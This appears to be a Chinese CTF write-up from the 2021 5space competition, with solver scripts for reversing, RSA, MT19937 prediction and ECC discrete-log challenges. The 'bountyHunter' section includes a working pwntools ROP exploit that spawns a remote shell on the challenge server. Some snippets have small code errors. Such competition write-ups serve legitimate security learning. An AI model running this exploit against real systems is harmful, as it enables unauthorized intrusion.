2021 5space 第五空间线上部分writeup

时隔一年,再次以LQers之名打比赛

image-20210917094707967

StrangeLanguage#

pyinstaller封装的exe文件,先解包https://github.com/extremecoders-re/pyinstxtractor主程序为

1
2
import brainfuck
brainfuck.main_check()

需要逆向brainfuck的pyd文件,可以发现里面很乱,但是有一段巨长的brainfuck代码,在线brainfuck:https://ctf.bugku.com/tool/brainfuck,简单运行以后发现输出为nonono。

很长时间都没思路,后面看了下brainfuck的语法,发现.是输出,而那段brainfuck里明显不止输出nonono的六个.,猜测这题其实是一个执行Brainfuck代码的虚拟机

网上找了一份brainfuck的解释器,不断执行后发现输入长度为38位。

后面的东西都靠神雕大侠输出了,如下:

找到网站https://www.dcode.fr/brainfuck-language,可以查看运行结束后bf虚拟机内部的内存变量情况,大胆猜测前面38个字节是输入数据加密后的结果,后面32个字节是flag{xxx}里面的目标数据,观察加密数据可以猜测出加密逻辑为data[i] ^= data[i+1]使用脚本解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
data = [0]*80
data[42] = 1
data[45] = 83
data[46] = 15
data[47] = 90
data[48] = 84
data[49] = 80
data[50] = 85
data[51] = 3
data[52] = 2
data[54] = 7
data[55] = 86
data[56] = 7
data[57] = 7
data[58] = 91
data[59] = 9
data[61] = 80
data[62] = 5
data[63] = 2
data[64] = 3
data[65] = 93
data[66] = 92
data[67] = 80
data[68] = 81
data[69] = 82
data[70] = 84
data[71] = 90
data[72] = 95
data[73] = 2
data[74] = 87
data[75] = 7
data[76] = 52
data[79] = 111
data = data[-35:-1]
for i in range(33)[::-1]:
data[i] ^= data[i+1]
print(data)
print(''.join(chr(i) for i in data))

data-protection#

和yuri一起做的,最后时刻弄出来了,不然就进不了线下了

粗看是五道密码学小题,其实是六道密码学小题

第一题:小整数分解n

1
2
3
4
5
6
7
8
n = 1428634580885297528425426676577388183501352157100030354079
c = 1268266426074011544664790775732890543404477204031309793054
p = 22186905890293167337018474103
q = 64390888389278700958517837593
aseert p * q == n
d = invert(65537, (p-1)*(q-1))
print(pow(c,d,n))
# b'xiaoMING'

第二题:q并不是整数,需要分解然后计算phi,手动除以2后交给factordb就可以分解了

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Util.number import *
c = 65703333637698814387485104131893346489799560120103274122300703254878496653191123314930608434699728552604562757581516931469565919211988172016951289687705624948450845256105637142421519604504957408331933326190508688852670494959671108668430632348829974729490394598273508049439197494887557056229707699925733956511
n = 134949786048887319137407994803780389722367094355650515833817995038306119197600539524985448574053755793699799863164150565217726975197643634831307454431403854861515253009970594684699064052739820092115115614153962139870020206132705821506686959283747802946805730902605814619499301779892151365118901010526138311982
e = 65537
p = 11616788973244169211540879051135531683500013311175857700532973853592727185033846064980717918194540453710515251945345524986932165003196804187526561468278997
# q = n//p
# q非质数
factors = [2,3,3,3,11,1789,10931740521710649641129836704228357436391126949743247361384455561383094203666858697822945232269161198072127321232960803288081264483098926838278972991]
phi = (p-1)*(3-1)*3**2*(11-1)*(1789-1)*(factors[-1]-1)
d = inverse(e,phi)
m = pow(c,d,n)
print(long_to_bytes(m))
# b'13019197182\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'

第三题:求模逆矩阵 Ax = B mod m

1
2
3
4
5
6
7
8
9
10
11
12
q = 5126021447
key = [[978955513, 2055248981, 3094004449, 411497641, 4183759491, 521276843, 1709604203, 3162773533, 2140722701, 782306144, 421964668, 356205891, 1039083484, 1911377875, 1661230549, 312742665, 3628868938, 2049082743], [3833871085, 2929837680, 2614720930, 4056572317, 3787185237, 93999422, 590001829, 429074138, 3012080235, 2336571108, 831707987, 3902814802, 2084593018, 316245361, 1799842819, 2908004545, 120773816, 2687194173], [3213409254, 3303290739, 742998950, 2956806179, 2834298174, 429260769, 769267967, 1301491642, 2415087532, 1055496090, 690922955, 2984201071, 3517649313, 3675968202, 3389582912, 2632941479, 186911789, 3547287806], [4149643988, 3811477370, 1269911228, 3709435333, 1868378108, 4173520248, 1573661708, 2161236830, 3266570322, 1611227993, 2539778863, 1857682940, 1020154001, 92386553, 3834719618, 3775070036, 3777877862, 2982256702], [4281981169, 2949541448, 4199819805, 3654041457, 3300163657, 1674155910, 1316779635, 66744534, 3804297626, 2709354730, 2460136415, 3983640368, 3801883586, 1068904857, 4178063279, 41067134, 752202632, 3143016757], [3078167402, 2059042200, 252404132, 415008428, 3611056424, 1674088343, 2460161645, 3311986519, 3130694755, 934254488, 898722917, 2865274835, 567507230, 1328871893, 3903457801, 2499893858, 492084315, 183531922], [3529830884, 4039243386, 233553719, 4118146471, 1646804655, 2089146092, 2156344320, 2329927228, 508323741, 1931822010, 579182891, 176447133, 597011120, 3261594914, 2845298788, 3759915972, 3095206232, 3638216860], [3352986415, 4264046847, 3829043620, 2530153481, 3421260080, 1669551722, 4240873925, 2101009682, 3660432232, 4224377588, 929767737, 3729104589, 2835310428, 1727139644, 1279995206, 1355353373, 2144225408, 1359399895], [3105965085, 818804468, 3230054412, 2646235709, 4053839846, 2878092923, 587905848, 1589383219, 2408577579, 880800518, 28758157, 1000513178, 2176168589, 187505579, 89151277, 1238795748, 8168714, 3501032027], [3473729699, 1900372653, 305029321, 2013273628, 1242655400, 4192234107, 2446737641, 1341412052, 304733944, 4174393908, 2563609353, 3623415321, 49954007, 3130983058, 425856087, 2331025419, 34423818, 2042901845], [1397571080, 1615456639, 1840339411, 220496996, 2042007444, 3681679342, 2306603996, 732207066, 663494719, 4092173669, 3034772067, 3807942919, 111475712, 2065672849, 3552535306, 138510326, 3757322399, 2394352747], [371953847, 3369229608, 1669129625, 168320777, 2375427503, 3449778616, 1977984006, 1543379950, 2293317896, 1239812206, 1198364787, 2465753450, 3739161320, 2502603029, 1528706460, 1488040470, 3387786864, 1864873515], [1356892529, 1662755536, 1623461302, 1925037502, 1878096790, 3682248450, 2359635297, 1558718627, 116402105, 3274502275, 2436185635, 771708011, 3484140889, 3264299013, 885210310, 4225779256, 363129056, 2488388413], [2636035482, 4140705532, 3187647213, 4009585502, 351132201, 2592096589, 3785703396, 750115519, 3632692007, 3936675924, 3635400895, 3257019719, 1928767495, 2868979203, 622850989, 3165580000, 4162276629, 4157491019], [1272163411, 1251211247, 357523138, 1233981097, 1855287284, 4079018167, 4028466297, 92214478, 4290550648, 648034817, 1247795256, 3928945157, 1199659871, 397659647, 3360313830, 561558927, 3446409788, 2727008359], [1470343419, 3861411785, 953425729, 65811127, 458070615, 1428470215, 3101427357, 1137845714, 1980562597, 4120983895, 45901583, 2869582150, 427949409, 3025588000, 3231450975, 3313818165, 4015642368, 3197557747], [2452385340, 111636796, 897282198, 4273652805, 1223518692, 3680320805, 2771040109, 3617506402, 3904690320, 77507239, 3010900929, 4099608062, 546322994, 1084929138, 902220733, 4054312795, 1977510945, 735973665], [3729015155, 3027108070, 1442633554, 1949455360, 2864504565, 3673543865, 446663703, 3515816196, 1468441462, 897770414, 2831043012, 707874506, 1098228471, 1225077381, 3622448809, 2409995597, 3847055008, 1887507220], [1839061542, 1963345926, 2600100988, 1703502633, 1824193082, 3595102755, 2558488861, 2440526309, 3909166109, 1611135411, 2809397519, 1019893656, 3281060225, 2387778214, 2460059811, 198824620, 1645102665, 865289621], [224442296, 3009601747, 3066701924, 1774879140, 880620935, 2676353545, 3748945463, 1994930827, 75275710, 3710375437, 4132497729, 3010711783, 3731895534, 2434590580, 3409701141, 2209951200, 995511645, 3571299495], [2337737600, 110982073, 2985129643, 1668549189, 3298468029, 698015588, 2945584297, 1036821195, 4249059927, 3384611421, 3304378629, 1307957989, 602821252, 184198726, 1182960059, 4200496073, 1562699893, 3320841302], [5866561, 2442649482, 479821282, 2687097642, 3347828225, 1876332308, 2704295851, 2952277070, 1803967244, 2837783916, 658984547, 3605604364, 1931924322, 3285319978, 556150900, 3795666798, 261321502, 1040433381], [3855222954, 3565522064, 1841853882, 1066304362, 3552076734, 3075952725, 2193242436, 2052898568, 2341179777, 3089412493, 165812889, 4196290126, 3568567671, 28097161, 2249543862, 1251207418, 522526590, 765541973], [1801734077, 2132230169, 667823776, 3900096345, 3119630138, 3620542178, 2900630754, 30811433, 608818254, 1040662178, 900811411, 3221833258, 43598995, 1818995893, 2718507668, 3445138445, 3217962572, 1437902734], [1812768224, 392114567, 2694519859, 1941199322, 2523549731, 2078453798, 851734499, 2376090593, 2069375610, 4084690114, 246441363, 4154699271, 58451971, 31806021, 4158724930, 2741293247, 3230803936, 2790505999], [3906342775, 2231570871, 1258998901, 1517292578, 162889239, 3130741176, 3925266771, 1780222960, 2378568279, 3873144834, 1597459529, 1581197809, 4101706041, 196019642, 1439141586, 587446072, 2012673288, 1280875335], [4058452685, 653145648, 553051697, 1406542226, 4053722203, 994470045, 2066358582, 3919235908, 2315900402, 3236350874, 172880690, 3104147616, 489606166, 3898059157, 200469827, 665789663, 3116633449, 4137295625], [1460624254, 4286673320, 2664109800, 1995979611, 4091742681, 2639530247, 4240681440, 2169059390, 1149325301, 3139578541, 2320870639, 3148999826, 4095173534, 2742698014, 3623896968, 2444601912, 1958855100, 1743268893], [2187625371, 3533912845, 29086928, 543325588, 4247300963, 1972139209, 272152499, 4276082595, 3680551759, 1835350157, 3921757922, 2716774439, 1070751202, 69990939, 3794506838, 699803423, 3699976889, 40791189], [539106994, 1670272368, 3483599225, 2867955550, 2207694005, 1126950203, 693920921, 2333328675, 539234245, 1961438796, 3126390464, 1118759587, 59715473, 1450076492, 4101732655, 3658733365, 940858890, 1262671744], [3092624332, 2175813516, 3355101899, 3657267135, 770650398, 359506155, 4149470178, 3763654751, 1184381886, 942048015, 523057971, 1098635956, 1732951811, 150067724, 2417766207, 4152571821, 2759971924, 4284842765], [3336022203, 2569311431, 2752777107, 1441977867, 1279003682, 3861567631, 1064716472, 3046493996, 1339401643, 39466446, 1464905290, 420733872, 2057911345, 2418624800, 2193625430, 1558527155, 4224908000, 207684355], [2681129718, 4210889596, 4051161171, 3131196482, 1128312875, 938670840, 2828563599, 3078146488, 1102989364, 3557724304, 156013303, 2371355565, 3608679353, 3513837899, 155622460, 396656112, 2493417457, 876296360], [3135876409, 181875076, 3662181650, 3851859805, 3626146919, 90441351, 1944988720, 585429580, 3158268550, 1399100291, 3688843295, 2851190, 2670576474, 3177735154, 3479499727, 197376977, 1790622954, 2393956089]]
cipher = [3949618467, 4814161956, 1774312307, 2052844167, 4912412397, 1767582844, 1715001480, 4997630926, 1287028217, 1613122961, 1507648363, 3833848475, 4890501393, 2017714776, 4952147272, 1101029175, 249109286, 3694791917, 569418071, 1770688090, 748256316, 4782466471, 3400666238, 822473822, 4532237767, 4479222151, 1057925438, 382745792, 1709565058, 3481974218, 4839101322, 210453311, 4025367747, 3205145789]

R = IntegerModRing(q)
M = Matrix(R, key)
b = vector(R, cipher)

M.solve_right(b)

(120, 105, 97, 111, 77, 73, 78, 71, 64, 99, 109, 97, 105, 108, 46, 99, 111, 109)
# xiaoMING@cmail.com

第四题:

卡了很久,虽然一开始就猜测是PRNG而不是纯爆破,但是简单算了算都不够624个,后来还是有利给力。

题目隐藏了MT19937 PRNG,借助mt19937predictor求解,头两个素数不确定,要在范围内穷举
random.randrange使用random.choice实现,查询发现其也是使用getrandbits实现,而且正好是32位

所有随机数加起来正好624*32位,因此:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import random
from gmpy2 import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from mt19937predictor import MT19937Predictor

p = 22186905890293167337018474103
tmp = p - 1
while next_prime(tmp) == p:
tmp -= 1
low_p = tmp + 1

q = 64390888389278700958517837593
tmp = q - 1
while next_prime(tmp) == q:
tmp -= 1
low_q = tmp + 1

x2 = 1376217116093917281494330680247070104781521444225 # 160

x3 = 1644175009

keys = [[978955513, 2055248981, 3094004449, 411497641, 4183759491, 521276843, 1709604203, 3162773533, 2140722701, 782306144, 421964668, 356205891, 1039083484, 1911377875, 1661230549, 312742665, 3628868938, 2049082743], [3833871085, 2929837680, 2614720930, 4056572317, 3787185237, 93999422, 590001829, 429074138, 3012080235, 2336571108, 831707987, 3902814802, 2084593018, 316245361, 1799842819, 2908004545, 120773816, 2687194173], [3213409254, 3303290739, 742998950, 2956806179, 2834298174, 429260769, 769267967, 1301491642, 2415087532, 1055496090, 690922955, 2984201071, 3517649313, 3675968202, 3389582912, 2632941479, 186911789, 3547287806], [4149643988, 3811477370, 1269911228, 3709435333, 1868378108, 4173520248, 1573661708, 2161236830, 3266570322, 1611227993, 2539778863, 1857682940, 1020154001, 92386553, 3834719618, 3775070036, 3777877862, 2982256702], [4281981169, 2949541448, 4199819805, 3654041457, 3300163657, 1674155910, 1316779635, 66744534, 3804297626, 2709354730, 2460136415, 3983640368, 3801883586, 1068904857, 4178063279, 41067134, 752202632, 3143016757], [3078167402, 2059042200, 252404132, 415008428, 3611056424, 1674088343, 2460161645, 3311986519, 3130694755, 934254488, 898722917, 2865274835, 567507230, 1328871893, 3903457801, 2499893858, 492084315, 183531922], [3529830884, 4039243386, 233553719, 4118146471, 1646804655, 2089146092, 2156344320, 2329927228, 508323741, 1931822010, 579182891, 176447133, 597011120, 3261594914, 2845298788, 3759915972, 3095206232, 3638216860], [3352986415, 4264046847, 3829043620, 2530153481, 3421260080, 1669551722, 4240873925, 2101009682, 3660432232, 4224377588, 929767737, 3729104589, 2835310428, 1727139644, 1279995206, 1355353373, 2144225408, 1359399895], [3105965085, 818804468, 3230054412, 2646235709, 4053839846, 2878092923, 587905848, 1589383219, 2408577579, 880800518, 28758157, 1000513178, 2176168589, 187505579, 89151277, 1238795748, 8168714, 3501032027], [3473729699, 1900372653, 305029321, 2013273628, 1242655400, 4192234107, 2446737641, 1341412052, 304733944, 4174393908, 2563609353, 3623415321, 49954007, 3130983058, 425856087, 2331025419, 34423818, 2042901845], [1397571080, 1615456639, 1840339411, 220496996, 2042007444, 3681679342, 2306603996, 732207066, 663494719, 4092173669, 3034772067, 3807942919, 111475712, 2065672849, 3552535306, 138510326, 3757322399, 2394352747], [371953847, 3369229608, 1669129625, 168320777, 2375427503, 3449778616, 1977984006, 1543379950, 2293317896, 1239812206, 1198364787, 2465753450, 3739161320, 2502603029, 1528706460, 1488040470, 3387786864, 1864873515], [1356892529, 1662755536, 1623461302, 1925037502, 1878096790, 3682248450, 2359635297, 1558718627, 116402105, 3274502275, 2436185635, 771708011, 3484140889, 3264299013, 885210310, 4225779256, 363129056, 2488388413], [2636035482, 4140705532, 3187647213, 4009585502, 351132201, 2592096589, 3785703396, 750115519, 3632692007, 3936675924, 3635400895, 3257019719, 1928767495, 2868979203, 622850989, 3165580000, 4162276629, 4157491019], [1272163411, 1251211247, 357523138, 1233981097, 1855287284, 4079018167, 4028466297, 92214478, 4290550648, 648034817, 1247795256, 3928945157, 1199659871, 397659647, 3360313830, 561558927, 3446409788, 2727008359], [1470343419, 3861411785, 953425729, 65811127, 458070615, 1428470215, 3101427357, 1137845714, 1980562597, 4120983895, 45901583, 2869582150, 427949409, 3025588000, 3231450975, 3313818165, 4015642368, 3197557747], [2452385340, 111636796, 897282198, 4273652805, 1223518692, 3680320805, 2771040109, 3617506402, 3904690320, 77507239, 3010900929, 4099608062, 546322994, 1084929138, 902220733, 4054312795, 1977510945, 735973665], [3729015155, 3027108070, 1442633554, 1949455360, 2864504565, 3673543865, 446663703, 3515816196, 1468441462, 897770414, 2831043012, 707874506, 1098228471, 1225077381, 3622448809, 2409995597, 3847055008, 1887507220], [1839061542, 1963345926, 2600100988, 1703502633, 1824193082, 3595102755, 2558488861, 2440526309, 3909166109, 1611135411, 2809397519, 1019893656, 3281060225, 2387778214, 2460059811, 198824620, 1645102665, 865289621], [224442296, 3009601747, 3066701924, 1774879140, 880620935, 2676353545, 3748945463, 1994930827, 75275710, 3710375437, 4132497729, 3010711783, 3731895534, 2434590580, 3409701141, 2209951200, 995511645, 3571299495], [2337737600, 110982073, 2985129643, 1668549189, 3298468029, 698015588, 2945584297, 1036821195, 4249059927, 3384611421, 3304378629, 1307957989, 602821252, 184198726, 1182960059, 4200496073, 1562699893, 3320841302], [5866561, 2442649482, 479821282, 2687097642, 3347828225, 1876332308, 2704295851, 2952277070, 1803967244, 2837783916, 658984547, 3605604364, 1931924322, 3285319978, 556150900, 3795666798, 261321502, 1040433381], [3855222954, 3565522064, 1841853882, 1066304362, 3552076734, 3075952725, 2193242436, 2052898568, 2341179777, 3089412493, 165812889, 4196290126, 3568567671, 28097161, 2249543862, 1251207418, 522526590, 765541973], [1801734077, 2132230169, 667823776, 3900096345, 3119630138, 3620542178, 2900630754, 30811433, 608818254, 1040662178, 900811411, 3221833258, 43598995, 1818995893, 2718507668, 3445138445, 3217962572, 1437902734], [1812768224, 392114567, 2694519859, 1941199322, 2523549731, 2078453798, 851734499, 2376090593, 2069375610, 4084690114, 246441363, 4154699271, 58451971, 31806021, 4158724930, 2741293247, 3230803936, 2790505999], [3906342775, 2231570871, 1258998901, 1517292578, 162889239, 3130741176, 3925266771, 1780222960, 2378568279, 3873144834, 1597459529, 1581197809, 4101706041, 196019642, 1439141586, 587446072, 2012673288, 1280875335], [4058452685, 653145648, 553051697, 1406542226, 4053722203, 994470045, 2066358582, 3919235908, 2315900402, 3236350874, 172880690, 3104147616, 489606166, 3898059157, 200469827, 665789663, 3116633449, 4137295625], [1460624254, 4286673320, 2664109800, 1995979611, 4091742681, 2639530247, 4240681440, 2169059390, 1149325301, 3139578541, 2320870639, 3148999826, 4095173534, 2742698014, 3623896968, 2444601912, 1958855100, 1743268893], [2187625371, 3533912845, 29086928, 543325588, 4247300963, 1972139209, 272152499, 4276082595, 3680551759, 1835350157, 3921757922, 2716774439, 1070751202, 69990939, 3794506838, 699803423, 3699976889, 40791189], [539106994, 1670272368, 3483599225, 2867955550, 2207694005, 1126950203, 693920921, 2333328675, 539234245, 1961438796, 3126390464, 1118759587, 59715473, 1450076492, 4101732655, 3658733365, 940858890, 1262671744], [3092624332, 2175813516, 3355101899, 3657267135, 770650398, 359506155, 4149470178, 3763654751, 1184381886, 942048015, 523057971, 1098635956, 1732951811, 150067724, 2417766207, 4152571821, 2759971924, 4284842765], [3336022203, 2569311431, 2752777107, 1441977867, 1279003682, 3861567631, 1064716472, 3046493996, 1339401643, 39466446, 1464905290, 420733872, 2057911345, 2418624800, 2193625430, 1558527155, 4224908000, 207684355], [2681129718, 4210889596, 4051161171, 3131196482, 1128312875, 938670840, 2828563599, 3078146488, 1102989364, 3557724304, 156013303, 2371355565, 3608679353, 3513837899, 155622460, 396656112, 2493417457, 876296360], [3135876409, 181875076, 3662181650, 3851859805, 3626146919, 90441351, 1944988720, 585429580, 3158268550, 1399100291, 3688843295, 2851190, 2670576474, 3177735154, 3479499727, 197376977, 1790622954, 2393956089]]

c = long_to_bytes(86636143607943838782783466877732215397)

for real_p in range(low_p, p):
for real_q in range(low_q, q):
predictor = MT19937Predictor()
predictor.setrandbits(real_p, 96)
predictor.setrandbits(real_q, 96)

predictor.setrandbits(x2, 160)
predictor.setrandbits(x3, 32)
for kk in keys:
for k in kk:
predictor.setrandbits(k, 32)

key = long_to_bytes(predictor.getrandbits(128))
a = AES.new(key,AES.MODE_ECB)
m = a.decrypt(c)
if b"_" in m and b"." in m:
print(real_p, real_q, m)

# b'No.321_hack_road'

第五题:通过encrypt4的结果,可以预测出x和y,直接求逆元

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import random
from gmpy2 import *
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256

q = 10633907791737940618251181242781657501421066561498924963325211137527914761294120366839373944631586742065134364371088754330142268137893939163058957321576561
g = 8720814254745089777252083344348851268520692318828030452122549926748859741402125799736178655620806485161358327515735405190921467358304697344848268434382637
h = 216104228861939108659993238797563154032915211504674449037936765120276850117374086975724449214309729354051557008730636227236538575874972134049994788523813
c1 = 7817920260306785410429732536522063841014966012571136751203203255948059437849813558135804344666976405241078856792098062469662771961521371324108084300684264
c2 = 1481745904444589773553565664060921310797602864298274327867977946855979227560424911012281403108577341726903090365418372162573660146505537528621522795919444

x = 9822319831145639889399192873724927105364592110824181727353156671381463280159058437888977193488677536845463844419172111367153742079974570210756921507694749
y = 10544310008565707953300017333140586669346866310149394258835632607185373394755336326688614571016325718052311732879807687887700577256797156198372049034609748

s = pow(g,x*y,q)
d = invert(s, q)
school = long_to_bytes(c2*d % q)

bountyHunter#

简单栈溢出,拿到shell后发现很多命令不能用,找了下常用linux指令,发现pwd和echo可以用,就猜了下flag路径,用echo重定向输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
local = 0
if local:
p = process('./pwn')# ,env={'LD_PRELOAD':'./libc.so.6'})
#elf = ELF("./pwn")
# libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
else:
p = remote('139.9.123.168', 32548)
# elf = ELF("./pwn1")
# libc = ELF('./libc.so.6')
pop_rdi_ret = 0x000000000040120b
pop_rsi_x_ret = 0x0000000000401209
binsh_addr = 0x403408
system_plt = 0x401030
pause()
payload = b'A'*0x90 + p64(0) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_x_ret) + p64(0) + p64(0) + p64(system_plt)
p.sendline(payload)
p.interactive()

# echo "$(<flag.txt)"

ECC#

三道ECC,都是求离散对数,考了不同算法,网上一找有一堆可以用

第一题:最简单的情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
 
# ECC1.sage
p = 146808027458411567
A = 46056180
B = 2316783294673
E = EllipticCurve(GF(p),[A,B])
P = (119851377153561800,50725039619018388)
Q = (22306318711744209,111808951703508717)
P = E(P[0],P[1])
Q = E(Q[0],Q[1])
print(discrete_log(Q,P,P.order(),operation='+'))

#long_to_bytes(13566003730592612)
#b'025ab3d'

第二题:出题人不小心把exp给了,但是没跑出来,但是uuid条件约束了,因此简单爆破就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p = 1256438680873352167711863680253958927079458741172412327087203
A = 377999945830334462584412960368612
B = 604811648267717218711247799143415167229480
E = EllipticCurve(GF(p),[A,B])
P = (550637390822762334900354060650869238926454800955557622817950,700751312208881169841494663466728684704743091638451132521079)
Q = (1152079922659509908913443110457333432642379532625238229329830,819973744403969324837069647827669815566569448190043645544592)
P = E(P[0],P[1])
Q = E(Q[0],Q[1])
l = list(b'0123456789abcdef')
from binascii import b2a_hex
for a in l[1:]:
for b in l:
print(a,b)
for c in l:
for d in l:
for e in l:
#s = a+b'-'+b+c+d+e+b'-'
s = bytes([a,45,b,c,d,e,45])
s = b2a_hex(s)
num = int(s,16)
if(P*num==Q):
print(num)
exit(-1)
# uuid 爆破
# long_to_bytes(16093767336603949)
# b'9-2521-'

第三题:SSAS攻击,网上随便找了一份脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
def SmartAttack(P,Q,p):
E = P.curve()
Eqp = EllipticCurve(Qp(p,2),[ZZ(t)+randint(0,p)*p for t in E.a_invariants() ])

P_Qps = Eqp.lift_x(ZZ(P.xy()[0]), all=True)
for P_Qp in P_Qps:
if GF(p)(P_Qp.xy()[1]) == P.xy()[1]:
break

Q_Qps = Eqp.lift_x(ZZ(Q.xy()[0]), all=True)
for Q_Qp in Q_Qps:
if GF(p)(Q_Qp.xy()[1]) == Q.xy()[1]:
break

p_times_P = p*P_Qp
p_times_Q = p*Q_Qp

x_P,y_P = p_times_P.xy()
x_Q,y_Q = p_times_Q.xy()

phi_P = -(x_P/y_P)
phi_Q = -(x_Q/y_Q)
k = phi_Q/phi_P
return ZZ(k)

p = 0xd3ceec4c84af8fa5f3e9af91e00cabacaaaecec3da619400e29a25abececfdc9bd678e2708a58acb1bd15370acc39c596807dab6229dca11fd3a217510258d1b
A = 0x95fc77eb3119991a0022168c83eee7178e6c3eeaf75e0fdf1853b8ef4cb97a9058c271ee193b8b27938a07052f918c35eccb027b0b168b4e2566b247b91dc07
B = 0x926b0e42376d112ca971569a8d3b3eda12172dfb4929aea13da7f10fb81f3b96bf1e28b4a396a1fcf38d80b463582e45d06a548e0dc0d567fc668bd119c346b2
E = EllipticCurve(GF(p),[A,B])
P = (10121571443191913072732572831490534620810835306892634555532657696255506898960536955568544782337611042739846570602400973952350443413585203452769205144937861 , 8425218582467077730409837945083571362745388328043930511865174847436798990397124804357982565055918658197831123970115905304092351218676660067914209199149610)
Q = (964864009142237137341389653756165935542611153576641370639729304570649749004810980672415306977194223081235401355646820597987366171212332294914445469010927 , 5162185780511783278449342529269970453734248460302908455520831950343371147566682530583160574217543701164101226640565768860451999819324219344705421407572537)
P = E(P[0],P[1])
Q = E(Q[0],Q[1])
n = SmartAttack(P,Q,p)
print(n)
print(P*n)
print(Q)
# long_to_bytes(19597596255129283097357413993866074145935170485891892)
# b'4a81-9957-8c3381622434'

Signin#

没做出来,mark一下,我想到的大概思路

和这个差不多,https://oalieno.github.io/2019/05/06/security/writeups/opqrx/

https://math.stackexchange.com/questions/2087588/integer-factorization-with-additional-knowledge-of-p-oplus-q/2087589#2087589

https://github.com/sliedes/xor_factor/blob/master/xor_factor.py

爆破用的性质推出来了但没完全推出来

求出低位后应该使用coppersmith

1
2
3
4
5
6
7
8
9
10
11
12
n = 81559905452357623059429646683422477362952167282663685401951695069792953149550508915057100101565324688518869552158352973775125495489356670253131336576193297430372996733167117860614537929385674351385426263721446579053403377365996744019246235251434285658196966440781084168142352073493973147145455064635516373317
p = # 已知的p的低位
kbits = 512
pbits = p.nbits()
PR.<x> = PolynomialRing(Zmod(n))
f = x*ZmodN(pow(2,pbits))+ p
f = f.monic()
x0 = f.small_roots(X=2^kbits, beta=0.3)[0] # beta=0.3表明存在factor 大于n ^0.3
p = p+x0*pow(2,pbits)
print(hex(int(p)))
q = n/int(p)
print(hex(int(q)))

po一个NULL的writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from Crypto.Util.number import *
from tqdm import tqdm
def partial_p(p0, kbits, n):
PR.<x> = PolynomialRing(Zmod(n))
f = 2^kbits*x + p0
f = f.monic()
roots = f.small_roots(X=2^(512-400), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(2^kbits*x0 + p0, n)
return ZZ(p)

c= 105964363167029753317572454629861988853017240482625184064844073337324793672813917218384 090143000754327745478675938880417939070185062842148984326409733470784229289982384422482 806913011867971401975586627392549938483496950331331884487290714985591554789594767069838 17882517886102203599090653816022071957312164735
e = 65537
n= 815599054523576230594296466834224773629521672826636854019516950697929531495505089150571 001015653246885188695521583529737751254954893566702531313365761932974303729967331671178 606145379293856743513854262637214465790534033773659967440192462352514342856581969664407 81084168142352073493973147145455064635516373317
x= 544528274874907263426386536858394514838784460789819080620775891616788086097329057778520 781763108994646626718779325717092
class Solver:
def __init__(self, x, n):
self.x = x
self.n = n
self.pq = [(0, 0)]
def add(self, b, p, q):
# print(bin((p * q) & (2*b-1)))
# print(bin(n & (2*b-1)))
if (p * q) & (2*b-1) == n & (2*b-1):
self.pq.append((p, q))
def solve(self):
for shift in tqdm(range(0, 400)):
b = 1 << shift
pq, self.pq = self.pq, []
for p, q in pq:
if self.x & b:
self.add(b, p | b, q)
self.add(b, p, q | b)
else:
self.add(b, p, q)
self.add(b, p | b, q | b)
return self.pq
def solve():
solver = Solver(x,n)
pqs = solver.solve()
for pq in tqdm(pqs):
p0 = ZZ(pq[0])
p = partial_p(p0, 400, n)
if p and p != 1:
return p

p = solve()
if not p:
print('WTF')
exit(0)
q = n//p
phi = (p-1)*(q-1)
d = inverse(e, phi)
m = long_to_bytes(pow(c,d,n))
print(m)

评论